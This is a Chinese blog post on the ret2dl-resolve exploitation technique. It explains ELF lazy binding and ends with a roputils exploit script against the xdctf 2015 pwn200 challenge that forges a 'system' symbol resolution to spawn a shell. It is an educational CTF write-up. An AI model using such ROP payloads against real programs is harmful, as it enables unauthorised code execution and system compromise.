return to dl-resolve 技术分析 - Blog of Mathias
Blog of Mathias Web Securtiy&Deep Learning
return to dl-resolve 技术分析
发表于: | 分类: pwn | 评论:0 | 阅读:572

return to dl-solve也是一种用于绕过aslr+dep的技术
其实目前这种技术更多的是在一个特殊的场景下比较有优势。
因为同样的存在栈溢出的情况下,如果能多次memory leak,泄露内存的话,直接可以用dynELF去得到system函数的地址
如果能搜寻到libc,那么只用泄露一次库函数的地址,就可以用偏移量算出system的地址。
比如使用libc-database可以做到这一点。
但是,如果无法找到对应的libc,就只能通过dl-resolve技术来实现了
那么简单的介绍一下前景:
linux下为了执行库函数,使用了延时绑定技术
一个参与了动态链接的程序,头部必然包含类型为PT_DYNAMIC的段,它包含.dynamic节区且结构体如下:

typedef struct {
    Elf32_Sword d_tag;
    union {
        Elf32_Word  d_val;
        Elf32_Addr  d_ptr;
    } d_un;
 } Elf32_Dyn;

Tag对应着每个节区,并且JMPREL对应着.rel.plt
可以使用readelf -d 查看dynmic节区的信息

3.png

.rel.plt节是用于函数重定位,.rel.dyn节是用于变量重定位
在.rel.plt中列出了链接的C库函数    

这当中的r_offset是这个函数信息结构体相对于.rel.plt节的定位
接下来,就会用r_info进行计算info>>8 * 16 作为偏移,去dynsym中寻找符号表结构体
简单的说,就是在plt节中,只有函数的plt桩,它指向的是.got.plt的地址,而.got.plt则保存函数的真正地址。
使用readelf -r查看.rel.plt信息

2.png

typedef struct {
    Elf32_Addr r_offset;    // 函数的真实地址
    Elf32_Word r_info;      // 符号表索引
} Elf32_Rel;
#define ELF32_R_SYM(i) ((i)>>8)
#define ELF32_R_TYPE(i) ((unsigned char)(i))
#define ELF32_R_INFO(s, t) (((s)<<8) + (unsigned char)(t))

.got.plt对应着.rel.plt的Elf32_Rel结构中r_offset的值
如果这个函数是第一次执行,那么会跳回plt节当中,根据plt后面push的参数作为偏移跳转到0x8048370,再把link_map = *(GOT+4)作为参数推入栈中,而*(GOT+8)中保存的是_dl_runtime_resolve函数的地址。因此以上指令相当于执行了_dl_runtime_resolve(link_map, reloc_arg),这个函数会去.rel.plt中寻找结构体
再从结构体的r_offset作为偏移
.dynsym段中则对应了具体的符号表
查看符号表的信息

1.png

其st_name成员是偏移量,用于在dynstr中找到对应的库函数名
然后进行解析地址的操作,并调用目标函数
梳理一下这个延时绑定的过程:

1.jmp到plt中的函数地址,然后call .got.plt中保存的函数地址
2.如果是第一次调用,会跳回到plt中,然后根据具体的函数push一个偏移量
3.再进行一次jmp到0x8048370,并把linkmap的地址入栈,再用_dl_runtime_resolve去找到.rel.plt中的结构体
其实是linkmap+这个offset,得到了目标结构体的地址
4.使用目标结构体中的r_info,以r_info>>8 * 16的偏移,去符号表dynsym中寻找到目标结构体
找到.dynsym中对应的结构体后,使用st_name成员作为偏移量,在dynstr中寻找对应函数的名称字符串
5.在libc中搜索到这个函数的真实地址,并填写到.got.plt中(对应着.rel.plt中的结构体r_offset的值)
6.调用目标函数
所以进入到实际分析过程中,使用xdctf 2015 pwn200

4.png

计算出偏移量为112,使用roputils编写payload如下:

from roputils import *
fpath = './pwn200'
offset = 112
rop = ROP(fpath)
addr_bss = rop.section('.bss') #获得bss节的地址
buf = rop.retfill(offset) #填充112个字符
buf += rop.call('read', 0, addr_bss, 500) #调用read函数,以及对应的偏移
buf += rop.dl_resolve_call(addr_bss+20, addr_bss) #调用dl_resolve函数
target = Proc(rop.fpath)
target.write(p32(len(buf)) + buf)
print "str: %r" % target.read(len(buf))
buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
buf += rop.dl_resolve_data(addr_bss+20, 'system') #通过伪造system获得其地址
buf += rop.fill(500, buf)
target.write(buf)
target.interact(0)

5.png

成功getshell

还不快抢沙发

添加新评论